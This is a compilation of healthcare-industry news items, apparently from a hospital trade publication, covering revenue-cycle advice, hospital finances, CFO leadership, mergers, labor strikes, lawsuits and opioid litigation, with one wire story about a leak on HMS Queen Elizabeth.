55. "From check-in to the insurance verification to billing, data analytics can help you identify where the biggest opportunity for improvement lies. Are patient no-shows causing you to lose money? Data analytics spots these trends and helps you course-correct the problem (i.e. set up appointment reminders for patients)."  Tom Schaal, director of product management at MedeAnalytics

56. "Both patients and providers benefit from discussing the patient's share of costs before treatment, but it takes a real shift in processes and behavior. Here are three steps to getting there:

Use a price estimator Offer a range of payment options, including a prompt-pay discount for those willing to pay with cash, check or credit/debit cards; a low or no-interest payment plan; and charity care Invest in training and develop a specific script for frontline staff so they can speak comfortably with patients about paying their bills"  KaLynn Gates, president of Springfield, Ore.-based HealthFirst Financial

57. "High-deductible health plans and the number of uninsured will grow in 2018, putting more pressure on providers to collect from patients. Developing a solid segmentation strategy that looks for missing insurance, identifies financial assistance/charity and tiers accounts into the appropriate activity group will be key. This will maximize resource activity and provide the best return for providers."  Shawn Yates, director of healthcare product management at Ontario Systems

58. "Healthcare organizations should constantly measure their performance against their competitors to identify areas for improvement. To do this, organizations need to invest in an analytics platform that translates competitor data into meaningful insights. The value of benchmarking is knowing if you're competitive and what other organizations are doing better than you  if they have better patient outcomes, higher revenue, you name it."  Destiny Schroeder, information systems director at Atwood, Kan.-based Rawlins County Health Center

59. "In particular, these are the five key performance indicators that warrant extra scrutiny to identify opportunities to increase revenue, accelerate payment and reduce costs to collect:

Discharged, not final billed

Clean claim rate

Payer aging over 90 days

Net collection percentage

Hospital Consumer Assessment of Healthcare Providers and Systems

"Once you start monitoring these metrics on a continual basis, you are going to start to see trends and areas where you can improve. That might be the front desk staff, physicians' bedside manner, scheduling or billing processes, and from there you can begin to make an impact to both the bottom line and the patient experience."  Kamron Lachney

60. "To reduce the downward pressure faced by medical practices, it is important to automate the complex and time-consuming AR management process. It reduces the costs involved in receivable processing and provides a wealth of AR data that serves as a continual feedback loop.

"Automating the AR process leads to a repetitive process that can be easily monitored as opposed to fragmented bits of AR information that are scattered across the organization. It also leads to quicker AR cycles."  Steve Watson, regional director of quality assurance at AnesthesiaBillingBridge

61. "In my experience as a revenue cycle manager, I've noticed there is one aspect of the revenue cycle that healthcare organizations overlook  proper handling of patient statements. Patient payments contribute a significant chunk of revenue to a hospital's bottom line. It is about time hospitals and physician practices change the way they handle patient statements. The first step is to vet out credit balances and identify low or zero balance accounts. Sending our patient statements for account balances that are below $5 is a drain on time and money. Running statements twice a week eliminates heavy backlogs. Consistent follow up with patients is also essential to keep the wheel of progress going forward."  Nancy Lopez, manager of the lost revenue audit program at BillingParadise

62. "A robust patient access strategy is inevitable to thrive in the value-based care environment. To eliminate patient access hurdles, hospitals must focus on automating pre-authorization, payer policy maintenance, benefits verification and securing authorization.

"Lack of centralization in pre-service activity, inconsistent processes, lack of knowledge in payer plans, manual patient data entry challenges in pre-authorization screening and verification are the root causes of claim denials. Nearly 49 percent of denials are due to front-end revenue cycle inefficiencies. Hospitals must automate their patient access processes to optimize their revenue cycle."  Ethan Hawke, regional director of billing and client relations at BillingParadise

63. "Insurance companies possess vast amounts of data and sophisticated modeling tools to give them a tremendous advantage in negotiating rates. Healthcare providers often lack sufficient analytical tools or a full understanding of how a proposed contract might impact revenue  costing practices millions of dollars.

"The bottom line is data offers providers with the competitive advantage and insights to swing the negotiations in their favor. We recommend utilizing the physician practice billing and contract data as well as market intelligence to analyze the proposed payer rates and their effect on a practice's top line. When it comes to rate negotiation, payer contracts are put in context with the rest of the commercial business and Medicare, so consulting with experts familiar with your market will put you at an advantage."  Kyle Kobe, vice president of consulting/analytics services at nThrive

64. "Many healthcare providers have invested significantly in EMR systems, but are frustrated that their systems are not living up to the claims acceptance rates as anticipated. Why not get the most out of your EMR system by embedding claims rules upstream so your errors are resolved faster? It eliminates productivity loss that results from flipping between an EMR and claims systems, and streamlines the claims management process that results in increased returns  you get the reimbursement you deserve.

"Boost the power of your EMR system with claims management technology that assures compliance with healthcare rules and edits, and expedites claims quickly and correctly without a huge financial investment. This kind of tool embeds rules upstream and provides you all the information you need in one system to produce clean, accurate claims. The tool will more than pay for itself. One healthcare organization reported that, after adding claims management software to their EMR, they reduced their Medicare accounts receivable days by 13 days, and increased cash flow by 14 percent in the first year and 7.5 percent in the second year."  Moliehi Weitnauer, vice president of product management and strategy at nThrive

65. "For concurrent denial determinations, the peer-to-peer medical review process often offers the best opportunity to get a case mediated before the overall revenue impact becomes substantial  therefore, maximizing this brief window of opportunity is crucial. With only one shot, an effective peer-to-peer review process requires three things: the right data, the right format and the right approach.

"Despite most organizations' efforts to overturn denials early, the peer-to-peer review process often goes unsupported and can transform into a conflict conversation based on opinion, not data. Technology that uses predictive analytics to create a story around medical necessity rather than just shows a myriad of data points makes the process more efficient and equips the physician to have a productive conversation with the payer. As the ultimate peer-to-peer decision is dependent on the information presented, generating an automatic clinical narrative helps physicians capture all relevant data points and ensures data that could potentially be lost or overlooked becomes meaningful and persuasive. This results in a higher overturn rate for concurrent denials and a protected revenue stream."  Heather Bassett, MD, CMO of Xsolsis
South Florida hospitals reported strong finances in 2016, according to the Sun-Sentinel.

The finding is part of a report released Dec. 13 by health market analyst Allan Baumgarten.

For the report, titled "Florida Health Market Review," Mr. Baumgarten cited data from the state's annual survey of hospitals to examine organizations' financial numbers.

Here are seven takeaways from the report.

1. Forty-six South Florida hospitals posted combined profits of $1 billion-plus in 2016, according to the report. This was the third consecutive year the hospitals hit the $1 million-plus mark. .

2. The hospitals' profits were driven by consolidations, partnerships and expanded insurance coverage, among other factors, the Sun-Sentinel states.

3. South Florida hospitals' combined net income totaled $1.05 billion last year, a drop from the $1.15 billion recorded in 2014, the report shows.

4. South Florida hospitals posted a combined operating income of $641 million in 2016, in addition to $608 million in other revenues, including investments, government grants and philanthropy, the report states.

5. But the Sun-Sentinel notes not all South Florida hospitals were profitable in 2016. Coral Springs (Fla.) Medical Center; Imperial Point Medical Center in Fort Lauderdale; and Broward Health North in Deerfield Beach, all part of Fort Lauderdale, Fla.-based Broward Health, incurred losses of $4.8 million, $5.1 million and $661,044, respectively. The publication did note, however, the Broward Health Medical Center in Fort Lauderdale was profitable in 2016, with $26.5 million on revenue of $434 million.

6. In contrast, Broward Health's sister organization, Hollywood, Fla.-based Memorial Healthcare, reported a net profit of $225 million in 2016. However Memorial Hospital Pembroke in Pembroke Pines reported a net loss of $6.7 million last year, according to the Sun-Sentinel.

7. Linda Quick, president of the consulting firm Quick Bernstein Connections Group and former president of the South Florida Hospital and Healthcare Association, told the publication the contrast doesn't surprise her, as Broward Health has gone through managerial disturbance and competition during recent years, and Memorial Healthcare dominates the Broward County market.

For more on this story, including other individual facilities' finances, read the full Sun-Sentinel report here.

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2017 introduced threats both virtual and actual, from ransomware to natural disasters, and potential political change brought another type of hazard  uncertainty.

Strong leadership from the C-suite is more critical than ever, and increasingly healthcare CFOs are called upon to shepherd providers into a new age of efficiency and value.

The CFO like never before has the opportunity to be an integral part of system operations, Tim Reed, CFO of Yakima, Wa.-based Virginia Mason Memorial, told Beckers Hospital Review. This means regular collaboration with leadership in helping assess current operational efficiencies as well as navigating imminent changes to the industry.

Instead of crunching numbers and focusing on whats happened from a financial standpoint, todays CFO plays a greater part in defining and determining strategy across the enterprise, from operations and labor to payer contracting and risk management. Although their financial responsibilities remain central, the new role required of CFOs in the shift to value-based medicine necessitates the mastery of new skills.

Beckers Hospital Review caught up with Mr. Reed and two other hospital CFOs, as well as two healthcare consultants from national consulting firm Prism Healthcare Partners, about CFOs' roles in leading operational transformation and innovation. In addition to Mr. Reed, discussion participants included:

Robert Flannery, CPA, senior vice president and CFO for UW Health in Madison, Wis.

David Nosacka, CFO of the Southern Illinois region for Hospital Sisters Health System in Springfield, Ill.

John Storino, managing director for Prism Healthcare Partners

Steve Lothrop, managing director for Prism Healthcare Partners

Not your grandfathers CFO

CFOs roles in hospitals have expanded from financial management to business strategist.

Unlike a few years ago, now [what is] required is a broad vision of the current landscape, one that marries enterprise-wide strategic initiatives with the financial realities of healthcare, both current and future, Mr. Reed says.

At many healthcare organizations, becoming more strategic means CFOs are working across departments to familiarize themselves with various aspects of day-to-day operations and identify opportunities for improvement.

Finance leaders are required to be nimble, moving up and down the management ranks as a collaborating partner on patient throughput and redesign, analytical support for initiatives, and how to solve for the budget gaps that have or may exist from revenue and expense perspectives, Mr. Nosacka says.

Skills CFOs need to be effective change leaders

Leading large-scale operational transformation is no easy feat, even for seasoned executives. However, CFOs can cultivate and develop certain strengths to prepare for leadership challenges throughout the transformation process.

The CFO is well-served to be a respected leader in the organization with unquestionable integrity, Mr. Flannery said. Multiple strengths are called upon [to lead organizational change] with perseverance at the top of the list. This is difficult work and many will call into question the need to do it, the speed at which it is done and the impact it will have on patient experience and quality.

A predominant theme to emerge from the discussion was having a well-developed strategic vision. Mr. Storino recommends CFOs understand their performance data, and benchmark their organization against industry standards, to begin devising strategies for improvement.

Pressure on operating margin is an increasing challenge for todays CFO, Mr. Storino said, explaining the challenge of just keeping the lights on at most organizations. Understanding performance gaps in comparison with the industry, your peers and your goals is the first step in defining the vision for the organization.

Strong communication and interpersonal skills are also essential for CFOs to forge partnerships between financial and operational management, as well as gain staff buy-in and support.

Be an expert at boiling complex problems and tasks down into their simplest components so you can communicate to multiple audiences, Mr. Lothrop says, noting that an effective change leader is able to talk about more than just finances and cost.

CFOs will be surrounded by clever and creative people who will have innovative ideas to improve revenue. Be the CFO thats as curious about new services as they are about managing costs, he adds.

Another key characteristic CFOs discussed was objectivity. Identifying inefficiencies and finding places to cut costs requires leaders to be as objective and unbiased as possible, Mr. Reed says.

Often we think our organizations are operating at peak performance in many areas, he says. More likely there are pockets of high performance  some just need a tune up while others present opportunities for redesign. The CFO should welcome the outside perspective which is key in moving from good to great performance.

5 tips to develop real-world skills on the job

1. Get your hands dirty  Immersion in a project is the fastest way to improve skills, Mr. Lothrop said. Assign yourself to an industrial project like a major renovation or a new building construction project.

2. Find a mentor  Join forces with someone thats an outstanding operations manager, work a project with them, figure out what skills and habits make them exceptional, and then try to acquire those skills and habits yourself, Mr. Lothrop said.

3. Get out of your office  I spent half my career in operations but it had to be hardwired [into me] to schedule time to round through various parts of the organization, Mr. Reed says. Not only will staff appreciate it but you will hear and see things you wouldnt learn otherwise.

4. Connect with your physicians  Staying connected to ground-level changes in inpatient and ambulatory care is necessary to provide advice to the leadership team on financial impacts of future delivery models, Mr. Flannery said.

5. Devote time with your front-line leaders  I continue to see opportunities [to learn] through meeting with leaders each day. Devoting time with front-line managers has had a substantial impact on my professional development, Mr. Nosacka says.
The Green Mountain Care Board, which is in charge of controlling the rate of growth in healthcare costs in Vermont, says Morrisville, Vt.-based Copley Hospital is making too much money and performing too many surgeries, according to the Burlington Free Press.

Since 2011, the Green Mountain Care Board has regulated hospital budgets and the prices payers charge their members. Copley Hospital could be sanctioned by the board for exceeding its expected revenue.

On Nov. 2, Judy Henkin, the board's general counsel, sent a letter to the Copley Hospital's lawyer concerning the limit on net patient revenue the board imposes. In the letter, Ms. Henkin refers to testimony given by Copley Hospital President and CEO Art Mathisen to support her argument that the hospital is bringing in too much revenue and performing too many surgeries, according to the report.

"At hearing, Copley's CEO informed the board that the overage was attributable to utilization beyond that projected in the [Certificate of Need] application, and to the success of Copley's orthopedic program," Ms. Henkin wrote. "CEO Mathisen personally took blame 'in a good way' for the increased utilization, explaining that the hospital had become more efficient under his watch, could perform more orthopedic surgeries and procedures in the newly constructed surgical suite, and that this in turn increased patient access to care."

Ms. Henkin said the board will not pursue enforcement action that could lead to sanctions if the hospital brings its net patient revenue growth down to the cap set by the board and achieves compliance with the board's budget orders, according to the report.

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In 2018, healthcare CIOs will focus on EHR integration (71 percent) and secure messaging user adoption (54 percent), according to the results of a survey fielded by Spok.

Spok, a clinical communication solutions company, asked 46 CIO members of the College of Healthcare Information Management Executives about their challenges and goals for health IT in the years to come.

Here are seven things to know.

1. Forty percent of respondents cited deploying an enterprise analytics platform as a top priority for 2018.

2. Sixty-five percent of CIOs said their organization is working to bring mobile elements into unified strategy, but 25 percent are not developing a mobile care team strategy.

3. When asked what is driving their mobile technology selection, CIOs cited secure messaging and communications among care teams (79 percent), receiving alerts from clinical systems (60 percent) and critical test results alerts (60 percent).

4. Half of respondents said their organization has a patient experience officer or some equivalent.

5. Forty-five percent of CIOs said their organizations are evolving patient portals to support population health initiatives.

6. In the next 18 months, CIOs cited physician IT adoption and buy-in (62 percent) and optimizing EHR integration with other hospital systems (38 percent) as top priorities.

7. CIOs said they gain physician buy-in by including clinician representatives on the planning committee (80 percent) and developing internal champions (76 percent).

Click here to access the complete survey data.
A bipartisan bill in the House to halt cuts to the Medicare 340B drug pricing program has gained 146 cosponsors from both sides of the aisle.

The bill, H.R. 4392, which was introduced in November by Reps. David McKinley, R-W.Va., and Mike Thompson, D-Calif., would nullify a provision of the final 2018 rule for the Medicare Outpatient Prospective Payment System that will reduce 340B payments to 22.5 percent less than the average sales price for drugs purchased through the program. These cuts are slated to go into effect Jan. 1. The going rate in 2017 for drugs purchased through the program was the average sales price plus 6 percent.

Mr. McKinley and Mr. Thompson say this rule jeopardizes care by reducing hospital revenue, especially in underserved and rural communities without address drug prices. "Protecting access to prescription drugs for low income communities should be a priority," Mr. McKinley said in a statement. "Unfortunately, CMS' misguided rule jeopardizes the ability of rural hospitals to provide vital services."

The bill has 146 cosponsors, 20 of whom signed on last week. The bill is supported by more Democrats (102) than Republicans (44). Hospital groups such as the American Hospital Association, America's Essential Hospitals and the Association of American Medical Colleges have voiced their support for the bill as well.

The bill is currently under review by the House committees on Energy and Commerce and Ways and Means.

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United Physicians, a 2,386-member physician group based in Bingham Farms, Mich., may depart from Southfield, Mich.-based Beaumont Health and its clinically integrated network, Beaumont Care Partners, Crain's Detroit Business reports.

Here are five things to know.



1. The possible fallout stems from a narrow network contract between eight-hospital Beaumont and Priority Health, a Grand Rapids, Mich.-based health insurer. In mid-September, Beaumont signed an amendment to its agreement with Priority Health to participate in a narrow network plan on the ACA exchange. United Physicians was not a part of Beaumont Health's existing agreement with Priority Health, and the system "had no way of including them in the narrow network," Colette Stimmell, vice president of communications at Beaumont, told Becker's. "We are currently working to move the Priority Health contract through the BCP approval process which would allow United Physicians to participate."

2. Michael Williams, MD, CEO of United Physicians, told Crain's Detroit Business his organization was unaware of the contract negotiations. Ms. Stimmell told the publication BCP did not have a lot of time to finalize a contract with Priority Health ahead of the insurer's deadline to offer coverage on the ACA's exchange. BCP comprises Beaumont's hospitals and roughly 2,500 of the system's 5,000 physicians.



3. Dr. Williams told Crain's Detroit Business he notified BCP Interim Executive Director Ryan Catignani that United Physicians is in the process of leaving BCP. Mr. Catignani acknowledged the potential change to Beaumont physicians in a Dec. 1 letter.



4. "Although the parties have been working cooperatively to formalize this change, the normal BCP approval processes for contracts, including the Priority Health contract, has been suspended as a result," Mr. Catignani said. He added once legal processes are finalized and BCP is restructured, "the Priority Health network will be available to all physicians in the BCP network, which includes essentially all physicians in" United Physicians.



5. Dr. Williams did note the physician group is contemplating a final decision and a compromise could be reached, Crain's Detroit Business reports. For its part, Beaumont said the issue is a misunderstanding and Beaumont values its independent physicians. "It is important to note that any physician credentialed and in good standing on Beaumont's medical staff is eligible for participation in the narrow network  even if they are not part of BCP," Ms. Stimmell told Becker's.



For the full Crain's Detroit Business report, click here.



Editor's note: This article was updated Dec. 18 at 2:50 p.m. CT with commentary from Beaumont Health.



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A Missouri law allowing medical school graduates to treat patients without having completed a designated residency program  the first law of its kind in the U.S.  went into effect after nearly three years, according to 41 Action News.

The law created the role of "assistant physician," which applies to medical school graduates who, under certain rules, may be allowed to treat patients without completing residency. Former Missouri Democratic Gov. Jay Nixon signed the law into effect in 2014, but officials took nearly three years to implement it, according to the report.

To become an assistant physician, medical school graduates must speak English, have passed the first two steps of the U.S. Medical Licensing Exam, enter into the primary care field, plan to practice in a medically underserved rural or urban area, and work with a collaborating physician within 50 miles of the assistant's practice.

The state currently boasts 25 assistant physicians.

However, not all medical associations are on board with the law. David Barbe, MD, president of the American Medical Association, said in a statement to 41 Action News, "The AMA appreciates that the intent of this law is to bridge critical gaps in the healthcare workforce, particularly those due to limited residency positions. However, we encourage states to pursue more practical workforce solutions, such as increasing the number of state-funded residency positions."

The American Academy of Physician Assistants also voiced its opposition to the law in a statement to the television station, the report states.
The following healthcare mergers, acquisitions, partnerships and general transactions took place or were announced during the past week.

1. Ascension, Providence St. Joseph in talks to merge, dethrone HCA as largest hospital operator: 5 takeaways

St. Louis-based Ascension and Renton, Wash.-based Providence St. Joseph Health are reportedly discussing a potential merger that, if successful, would make the combined nonprofit entity the largest hospital operator in the nation.

2. New York hedge fund in talks to purchase KentuckyOne hospital

BlueMountain Capital Management, a New York-based hedge fund, is reportedly the prime candidate to purchase Louisville, Ky.-based Jewish Hospital, a Louisville-based KentuckyOne Health facility.

3. Otsego Memorial Hospital joins Munson Healthcare

Gaylord, Mich.-based Otsego Memorial Hospital will officially join Traverse City, Mich.-based Munson Healthcare.

4. New York hospital partners with St. Joseph's Health, U of Rochester Medical Center

Auburn (N.Y.) Community Hospital is partnering with Syracuse, N.Y.-based St. Joseph's Health and University of Rochester (N.Y.) Medical Center to expand access to care.

5. Carolinas HealthCare, UNC Health Care merger discussions to stretch into 2018

Officials at Charlotte, N.C.-based Carolinas HealthCare System and Chapel Hill, N.C.-based UNC Health Care said merger discussions between the two systems will continue into 2018.

6. Nebraska Medicine, RCCH considering partnership opportunity with Fremont Health

Senior leaders at Fremont (Neb.) Health said during a meeting Monday evening the health system will continue exploring strategic partnership opportunities with several large-scale health systems to improve the health and wellness of residents in the community.

7. West Virginia hospital partners with UPMC children's hospital for OB-GYN care

Mon Health Medical Center in Morgantown, W.Va., is partnering with Children's Hospital of Pittsburgh of UPMC to improve access to newborn care at the Mon Health Family Birth Center.

8. FTC completes 30-day review, does not publicly contest MSHA-Wellmont merger

The Federal Trade Commission finished its 30-day review of the proposed Kingsport, Tenn.-based Wellmont Health System and Johnson City, Tenn.-based Mountain States Health Alliance Nov. 29 and has yet to issue any indication it plans to contest the merger.

9. UCHealth acquires 2 hospitals, 17 freestanding emergency rooms

Aurora, Colo.-based UCHealth has acquired 17 freestanding emergency rooms and two hospitals it operated in partnership with Lewisville, Texas-based Adeptus Health.
By PTI, PTI: (Eds: Updating with more inputs)

London, Dec 19 (PTI) The UKs new 3.1 billion-pound aircraft carrier HMS Queen Elizabeth is leaking and taking on up to 200 litres of sea water every hour because of a faulty seal, a Royal Navy spokesman confirmed today, after less than two weeks in service.

The 280 metres-long and with an estimated 50-year working life, the carrier is the biggest and most powerful built by the UK.

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The Royal Navys future flagship, which was commissioned by Queen Elizabeth II on December 7 in Portsmouth, has a problem with one of its propeller shafts.

The fault on the carrier was first identified during sea trials, the BBC reported.

A Royal Navy spokesman said the ship was scheduled for repair and the fault did not prevent it from sailing again early in the new year.

According to the Sun newspaper, HMS Queen Elizabeth has been taking on up to 200 litres of sea water every hour - the capacity of fish tank measuring 100cm x 50cm x 40cm - because of the fault.

The Navy spokesman said: "An issue with a shaft seal has been identified during HMS Queen Elizabeths sea trials; this is scheduled for repair while she is alongside at Portsmouth.

"It does not prevent her from sailing again and her sea trials programme will not be affected," he said.

The Royal Navy is trying to play down the problem, after first trying to hide it, the BBC report said, describing the news as "clearly embarrassing."

British Defence Secretary Gavin Williamson said the cost of the repair would be funded by the contractors that built it.

"This is the reason why we have the sea trials, to make sure that everything is working absolutely perfectly. This is something that work is currently ongoing to deal with," he said.

HMS Queen Elizabeth was built by the Aircraft Carrier Alliance, a grouping of BAE Systems, Babcock and Thales.

Blocks were completed at six yards - before being assembled at Rosyth Dockyard in Fife.

BAE Systems, which confirmed the affected section was built at its site in Govan, said the repair would be done in the new year and take a few days.

The company said: "It is normal practice for a volume of work and defect resolution to continue following vessel acceptance. This will be completed prior to the nations flagship recommencing her programme at sea in 2018."

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Rear Admiral Chris Parry, a former director of operational capability at the Ministry of Defence, said the headlines were "very embarrassing" but the leak "in reality is no big deal".

"You expect to take some water in when youre operating a warship at sea," he told the BBC, adding that was why they are equipped with pumps.

He said: "Its been out for sea trials, its been under pressure. Theyve been testing all their systems to the extremes and Im afraid to say this is what happens at sea."

The HMS Queen Elizabeth entered its home port of Portsmouth for the first time in August after starting two months of sea trials from Rosyth.

A second carrier, HMS Prince of Wales, is externally complete but it will take 18 months to fit its internal systems at Rosyth and it will be 2019 before the ship can begin sea trials. PTI AKJ AKJ

--- ENDS ---
Unionized healthcare workers at Rochester, Minn.-based Mayo Clinic Health System's Albert Lea campus began to strike Tuesday.

Here are nine things to know.

1. Service Employees International Union Healthcare Minnesota, which represents the workers, announced the strike Dec. 7.

2. Seventy-nine SEIU Healthcare Minnesota members working as certified nursing assistants, housekeepers, sterile processing technicians and in utilities and materials management are participating in the strike. Those employees are part of the general group that voted to authorize a one-day strike in late November. Six skilled maintenance workers who have not had a labor deal for more than two years also voted to participate in the strike.

3. However, Mayo told Becker's more than 12 of these employees have indicated they plan to cross the picket line and work their scheduled shifts Tuesday.

4. SEIU Healthcare Minnesota member Sheri Wichmann, who has worked in sterile processing for 18 years, said of the reason for the strike: "It is insulting that Mayo has treated us and our community this way. We are committed to our job and our community, and all we're asking for is that Mayo recognizes our value. We care deeply about what happens as we are not just employees, but patients at this hospital. We are not asking for the world, just a contract that is fair so we can feel some security for our families. We hope this will make Mayo realize they need to come to the table and negotiate in good faith."

5. Mayo called the timing of the strike "unfortunate."

"We are especially disappointed that the union would call a strike now, since the SEIU [Healthcare Minnesota] general group, which composes the majority of the impacted workers, didn't ask us for a bargaining session between May 2017 and just recently, the system said. "The maintenance group met for negotiations twice this fall, but has yet to request anything for the future."

6. Mayo said it has notified union leadership and members, in writing, at various times that replacement workers must be brought in to make sure patient care is not disrupted during the strike.

7. The medical center in Albert Lea has contracted with an agency to provide these replacement workers, and a seven-day employment commitment is required, Mayo said. Therefore, striking Mayo employees who are part of the SEIU Healthcare Minnesota general group will be out of work for seven days from the time the strike starts and can return to their job Dec. 26. Mayo said this does not affect the six maintenance workers since Mayo is not contracting replacement workers for them. The maintenance workers are expected to return to their job when their shift starts Dec. 20.

8. Meanwhile, though, Mayo said it is "committed to providing fair wages and benefits. These employees are being offered the same Mayo Clinic benefits package as virtually all other allied health employees, which we strongly believe is better as a whole than the benefits they currently receive."

9. Members of the Minnesota Nurses Association have said they will picket Tuesday to support striking SEIU Healthcare Minnesota members.
Boston-based Tufts Medical Center and the Massachusetts Nurses Association confirmed they reached a tentative agreement Monday.

The tentative agreement, which covers 1,200 unionized nurses at Tufts and its Floating Hospital for Children, came after a negotiating session at Boston Mayor Marty Walsh's office, according to the MNA. The mayor had stepped in to help both sides reach a settlement.

Provisions of the tentative agreement include across-the-board pay increases totaling 6 percent over the life of the contract and moves nurses who are now in the defined benefit pension plan to a 403(b) retirement savings plan, both sides said. Other provisions cited include "language guaranteeing that key units/floors will have a charge nurse without an initial patient assignment" as well as a 5 percent step added to the wage scale over the life of the contract.

Tufts and the MNA have been in contract negotiations since April 2016. Negotiations were contentious at times, resulting in a one-day strike in July . In total, both sides participated in 47 bargaining sessions before reaching Monday's tentative agreement.

That agreement, effective through September 2021, must still be ratified by nurses before it is official. A ratification vote is slated Jan. 3.




From health system leaders indicted on criminal charges to a nurses union filing a lawsuit to block a hospital closure, here are the latest healthcare industry lawsuits and settlements making headlines.

1. DaVita pharmacy unit settles billing fraud case for $63.7M

Coppell, Texas-based DaVita Rx, a pharmacy services unit of Denver-based DaVita, will pay $63.7 million to resolve False Claims Act allegations.

2. Florida regulator receives nearly 5 year sentence for tipping off nursing home exec to state inspections

A former healthcare inspection supervisor at Florida's Agency for Healthcare Administration was sentenced to nearly five years in prison for accepting bribes in exchange for alerting a nursing home executive to state inspections and patient complaints.

3. California anesthesiologist charged with murder after physician dies while under his care

Stephen Kyosung Kim, MD, a 53-year-old anesthesiologist, was charged with murder after a patient under his care suffered a fatal overdose.

4. Appellate court revives $891M securities fraud lawsuit against CHS: 8 things to know

The Sixth Circuit U.S. Court of Appeals revived a shareholder class-action lawsuit against Franklin, Tenn.-based Community Health Systems, alleging the for-profit hospital operator deceived shareholders by keeping secret that its profits were based on Medicare fraud.

5. Whistle-blower: Johns Hopkins prioritizes out-of-state patients to boost revenue

A former supervisor in the patient appointments department at Baltimore-based Johns Hopkins Health System filed a lawsuit accusing the system of favoring out-of-state patients over Maryland residents to increase revenue.

6. Owner of home health company sentenced to 80 years in prison for Medicare fraud

The owner of a home health company in Houston was sentenced Dec. 8 to 80 years in prison for his role in a $13 million Medicare fraud scheme and for filing false tax returns.

7. 5 Broward Health leaders indicted on criminal charges: 7 things to know

The Broward County State Attorney's Office filed a criminal complaint against five officials from North Broward Health District, which runs Fort Lauderdale, Fla.-based Broward Health, for allegedly violating Florida's open-meetings laws to bring about the termination of the health system's former interim CEO.

8. Intermountain Healthcare settles drug diversion case for $1M

Salt Lake City-based Intermountain Healthcare agreed to pay the federal government $1 million to resolve allegations that lax controls allowed a former medical assistant to divert controlled substances for personal use.

9. Nurses union sues Care New England to halt hospital closure

United Nurses and Allied Professionals, the union that represents nurses at Memorial Hospital in Pawtucket, R.I., sued the hospital's parent company and the state to halt the closure of the facility.

10. Statistician: Government used faulty extrapolation in $100M Medicare fraud case

Federal prosecutors claim Salomon Melgen, MD, a Florida ophthalmologist who was convicted on 67 counts of healthcare fraud earlier this year, submitted more than $100 million in false claims to Medicare. However, an expert hired by defense counsel challenged the government's method for calculating the false claims at a recent sentencing hearing.

11. Lawsuit claims McKesson did not appropriately oversee opioid sales: 7 things to know

A shareholder lawsuit claims McKesson failed to audit controls for opioid-based painkillers.

12. US lab association challenges new Medicare reimbursement system: 7 things to know

The American Clinical Lab Association sued the federal government over a new payment system under the Protecting Access to Medicare Act.

13. Judge orders Wisconsin health system to settle dispute with Cerner outside of court

A Wisconsin district court judge dismissed Fond Du Lac, Wis.-based Agnesian Healthcare's lawsuit against Cerner, a Kansas City, Mo.-based health IT company.

14. PhRMA files lawsuit, claims California drug pricing transparency law is unconstitutional

Pharmaceutical Research and Manufacturers of America is challenging the constitutionality of California's recently passed drug pricing transparency law.

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Kelly Hill, the former emergency department director at Madison, Ind.-based King's Daughters' Health, is accused of stealing hundreds of vials of controlled substances from the hospital earlier this year, according the Madison Courier.

In August, the Drug Enforcement Administration began investigating a suspected theft of controlled substances at the hospital. Ms. Hill was identified as the primary suspect, and hospital officials subsequently did an analysis of her access to controlled substances.

Hospital officials allege Ms. Hill logged into the hospital's EHR system on multiple occasions and entered backdated medication orders for patients who had been discharged from the ED hours or days prior. Hospital pharmacists stated in an affidavit that a patient could not receive medication after discharge.

Ms. Hill, who resigned from the hospital Aug. 21 after refusing to submit to a drug screen request, is accused of stealing $19,900 of controlled substances, including 32 vials of fentanyl, 310 vials of hydromorphone and 71 vials of morphine sulfate, as well as $2,700 of non-controlled substances.

She faces felony counts of unlawful dispensation of a controlled substance; failure to make, keep or furnish records; obtaining a controlled substance by fraud of deceit; and theft.

Ms. Hill entered a preliminary plea of not guilty on Dec. 15.

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The Mecklenburg County (N.C.) District Attorney's Office said Dec. 14 that two police officers who shot and killed an armed hospital patient in Huntersville, N.C., in September were legally justified in doing so, according to The Charlotte Observer.

Police were called to Novant Health Huntersville (N.C.) Medical Center Sept. 10 after reports of multiple shots fired inside the facility. When police arrived, they encountered 76-year-old Joseph Charles Cook, a hospital patient who was traveling from Florida to New York to escape Hurricane Irma.

Mr. Cook allegedly aimed his gun at responding police. Two officers, Travis Watts and Michael Joseph, both opened fire, killing Mr. Cook, according to the report.

"In this case, the officers were responding to an active shooter in a hospital," Spencer Merriweather, the Mecklenburg County District Attorney, wrote to Huntersville police chief Cleveland Spruill. "When they encountered the subject, Cook pointed a gun at a police officer. Under these circumstances, I have determined that these officers acted within the bounds of the law, and no charges will be sought against them."

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Attorneys representing Detroit and Macomb County filed a lawsuit on Tuesday against multiple drugmakers, drug distributors and pharmacy chains for their alleged role in facilitating Michigan's opioid crisis, according to a report from the Detroit Free Press.

The counties of Delta and Chippewa, as well as the cities of Lansing and Escanaba, are also listed as plaintiffs in the suit. The legal action accuses the companies of engaging in the reckless sale of opioids and seeks to obtain funds to help address the crisis.

"It's not that we want to profit from litigation, we want to stop it through litigation," said Mark Hackel, Macomb County executive, according to Detroit Free Press. "Enough is enough."

In 2016, Macomb County saw a 134 percent surge in opioid-related deaths from the year prior, bringing the death total over 200.

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Columbus is the latest Ohio municipality to take legal action against drug companies to recoup city funds expended addressing the city's opioid crisis, according to a report from ABC 6.

The lawsuit, filed Dec. 15, lists 22 drugmakers and three drug distributors as defendants, accusing the companies of various transgressions that perpetuated the opioid crisis in Columbus. Allegations made in the lawsuit include the dissemination of false information about the safety of opioid medications and failing to track suspicious opioid shipments.

"This is something that every neighborhood can feel the squeeze on from the over-proliferation of opioids from the pharmaceutical industry," said Zach Klein, Columbus' incoming city attorney, according to ABC 6. "This [is] not about filling city coffers. This is about getting people the help they need to educate people about the dangers of opioid abuse."

Similar legal actions have been taken by the state of Ohio, Cleveland and Cincinnati.

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South Carolina governor declares opioid crisis public health emergency

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Republican Gov. Henry McMaster officially declared South Carolina's opioid overdose epidemic a statewide public health emergency on Monday.

The emergency declaration allows law enforcement, state officials and private partners to leverage the state's emergency management infrastructure to address rising rates of opioid-related deaths and addiction in South Carolina. The governor also issued two executive orders on Monday. One establishes an opioid emergency response team, which will include state and federal law enforcement offices, healthcare providers and regulatory agencies. The team will meet monthly to develop further strategic plans to address the crisis.

"The opioid crisis is one that has invaded so many aspects of the lives of South Carolinians and of families across the country," said Gov. McMaster. "We are confident that if there is a group capable of combating this problem, providing treatment for those affected, and bringing about tangible results that will change lives, its this group of dedicated, talented individuals that we have been able to put together."

